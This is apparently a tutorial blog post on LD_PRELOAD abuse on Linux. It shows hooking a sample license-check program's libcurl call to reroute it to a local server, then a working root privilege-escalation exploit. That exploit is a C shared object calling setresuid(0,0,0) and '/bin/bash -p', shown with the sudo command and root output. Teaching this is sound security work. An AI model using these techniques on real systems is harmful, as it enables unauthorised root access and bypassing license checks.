LD_PRELOAD Exploitation

LD_PRELOAD is a Linux environment variable that can be used to specify a shared object file that will be loaded before other shared objects.

We can take advantage of this functionality to perform dynamic function hooking, and in some instances perform privilege escalation.

Function Hooking

By loading a shared object with our own code using LD_PRELOAD we can function intercept calls from a program. The library specified in the LD_PRELOAD environment variable will even take precedence over glibc.

To understand this better, let’s start with a vulnerable application. The application just downloads a file from a webserver, and if a checks if the license key is set to an accepted value;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
 
struct MemoryStruct {
  char *memory;
  size_t size;
};
 
static size_t
WriteMemoryCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
  size_t realsize = size * nmemb;
  struct MemoryStruct *mem = (struct MemoryStruct *)userp;
 
  char *ptr = realloc(mem->memory, mem->size + realsize + 1);
  if(!ptr) {
    printf("not enough memory (realloc returned NULL)\n");
    return 0;
  }
 
  mem->memory = ptr;
  memcpy(&(mem->memory[mem->size]), contents, realsize);
  mem->size += realsize;
  mem->memory[mem->size] = 0;
 
  return realsize;
}
 
int main(void)
{
  CURL *curl_handle;
  CURLcode res;
 
  struct MemoryStruct chunk;
 
  printf("Connecting to server: http://authserver.local:8000/license_check\n");

  chunk.memory = malloc(1);
  chunk.size = 0;
  curl_global_init(CURL_GLOBAL_ALL);
  curl_handle = curl_easy_init();
  curl_easy_setopt(curl_handle, CURLOPT_URL, "http://authserver.local:8000/license_check");
  curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
  curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
  curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "libcurl-agent/1.0");
  res = curl_easy_perform(curl_handle);

  if(res != CURLE_OK) {
    fprintf(stderr, "curl_easy_perform() failed: %s\n",
            curl_easy_strerror(res));
  }
  else {
    char license[] = "b336e639-4241-4068-bdd8-f6d1a955d6e3\n";

    printf("Server Response: %s", chunk.memory);

    if (strcmp(chunk.memory,license) == 0)
    {
            printf("Valid license. Please proceed...\n\n");
    }
    else {
            printf("Invalid license. Exiting!\n\n");
    }
  }
 
  curl_easy_cleanup(curl_handle);
  free(chunk.memory);
  curl_global_cleanup();
 
  return 0;
}

Compile the application using gcc. Using the ‘-z lazy’ option allows us to trace function calls with ltrace.

gcc license_check.c -o license_check -lcurl -z lazy

Running the application shows it connecting to a local server;

./license_check 
Connecting to server: http://authserver.local:8000/license_check
Server Response: b336e639-4241-4068-bdd8-f6d1a955d6e3
Valid license. Please proceed...

To hook the function, you need to know which library functions are called by the application. If this is being done from a black box perspective (without access to the our code), you can use objdump to list functions in the binary;

objdump -T ./license_check
./license_check:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) printf
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_easy_strerror
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_easy_init
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_easy_cleanup
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.34) __libc_start_main
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.14) memcpy
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_easy_perform
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.4)  __stack_chk_fail
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_global_cleanup
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) free
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) malloc
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) fprintf
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) puts
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) realloc
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_easy_setopt
0000000000000000      DF *UND*	0000000000000000 (CURL_GNUTLS_3) curl_global_init
0000000000000000  w   D  *UND*	0000000000000000  Base        _ITM_deregisterTMCloneTable
0000000000000000  w   D  *UND*	0000000000000000  Base        __gmon_start__
0000000000000000  w   D  *UND*	0000000000000000  Base        _ITM_registerTMCloneTable
0000000000000000  w   DF *UND*	0000000000000000 (GLIBC_2.2.5) __cxa_finalize
00000000000040a0 g    DO .bss	0000000000000008 (GLIBC_2.2.5) stderr

Alternatively, you may be able to use ltrace to determine which functions are being called in real time;

ltrace ./license_check 
malloc(1)                                                                      = 0x561e2b0fd140
curl_global_init(3, 0, 0x561e2b0f7010, 0)                                      = 0
curl_easy_init(0x7fb086155020, 0, 0, 2)                                        = 0x561e2b113d30
curl_easy_setopt(0x561e2b113d30, 0x2712, 0x561e2ab58038, 0x2712)               = 0
curl_easy_perform(0x561e2b113d30, 0x561e2ab58067, 0xfffffffffefe0000, 0 <unfinished ...>
realloc(0x561e2b0fd140, 38)                                                    = 0x561e2b11c200
memcpy(0x561e2b11c200, "b336e639-4241-4068-bdd8-f6d1a955"..., 37)              = 0x561e2b11c200
<... curl_easy_perform resumed> )                                              = 0
strcmp("b336e639-4241-4068-bdd8-f6d1a955"..., "b336e639-4241-4068-bdd8-f6d1a955"...) = 0
puts("Valid license. Please proceed..."...Valid license. Please proceed...

)                                    = 34
curl_easy_cleanup(0x561e2b113d30, 1, 1, 0x7fb0862d5aaf)                        = 0
free(0x561e2b11c200)                                                           = <void>
curl_global_cleanup(7, 0x561e2b0f7010, 0x561b4af3dcdc, 1)                      = 0
+++ exited (status 0) +++

So, using objdump and ltrace we can see the function curl_easy_perform in libcurl is being called.

Next, we just need to write a shared library that implements the same function signatures we have seen in the code. In this instance, we will hook curl_easy_perform from libcurl and getaddrinfo from glibc. Doing this, we can force the application to make the HTTP requests to a different web server.

#define _GNU_SOURCE  
  
#include <dlfcn.h>  
#include <fnmatch.h>  
#include <netdb.h>  
#include <stdbool.h>  
#include <stdio.h>  
#include <curl/curl.h>

typeof(getaddrinfo) *real_getaddrinfo = NULL;
typeof(curl_easy_perform) *real_curl_easy_perform = NULL;

// Runs during shared library load. 
// Uses dlsym() to get pointer to function addresses in memory.
void __attribute__((constructor)) init(void) {  
    real_getaddrinfo = dlsym(RTLD_NEXT,"getaddrinfo");
    real_curl_easy_perform = dlsym(RTLD_NEXT,"curl_easy_perform");
}

int getaddrinfo(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) {  
   printf("[+] Host: %s\n",node);
   return real_getaddrinfo(node,service,hints,res);
}

CURLcode curl_easy_perform(CURL *easy_handle){
   curl_easy_setopt(easy_handle, CURLOPT_URL, "http://127.0.0.1/license_check");
   CURLcode res = real_curl_easy_perform(easy_handle);
   char *ct;
   curl_easy_getinfo(easy_handle, CURLINFO_EFFECTIVE_URL, &ct);
   printf("[+] URL:  %s\n", ct);
   return res;
}

Compile the shared library with;

gcc -Wall -fPIC -shared -o evil.so evil.c -lcurl

Running the application shows the HTTP request has been rerouted to our local server.

LD_PRELOAD=./evil.so ./license_check
[+] New URL:  http://127.0.0.1:8000/license_check
Server Response: b336e639-4241-4068-bdd8-f6d1a955d6e3
Valid license. Please proceed...

There are a lot of useful things that can be done with this technique, including;

  • Selectively blocking network communication to certain domains or IP addresses (such as advertising servers)
  • Re-routing communications, in applications that are not proxy aware
  • Using it to study the application behaviour, similar to ltrace/strace output
  • For fuzzing applications from the perspective of a malicious shared object

Privilege Escalation

If sudo detects the real user ID (ruid) differs from their effective user ID (euid), the LD_PRELOAD parameter will be ignored. The only exception to this is if env_keep explictly allows LD_PRELOAD in the /etc/sudoers configurations.

Below shows a vulnerable sudo configuration where LD_PRELOAD is allowed;

user@epsilon:~$ sudo -l
Matching Defaults entries for user on epsilon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=LD_PRELOAD

User user may run the following commands on epsilon:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/nmap

To exploit this configuration, we just need to create a shared object to set our UID to 0 and run bash;

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Compile with;

gcc -fPIC -shared -nostartfiles -o privesc.so privesc.c

Executing sudo with the LD_PRELOAD environment variable set to our shared object shows we become the root user.

user@epsilon:~$ sudo LD_PRELOAD=./privesc.so /usr/bin/nmap
root@epsilon:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

In Conclusion

LD_PRELOAD is unlikely to be useful for privilege escalation, due to the unusual configuration parameters that would need to be set to make exploitation possible.

However it does prove very useful for function hooking, particularly for commercial software where no source code is available.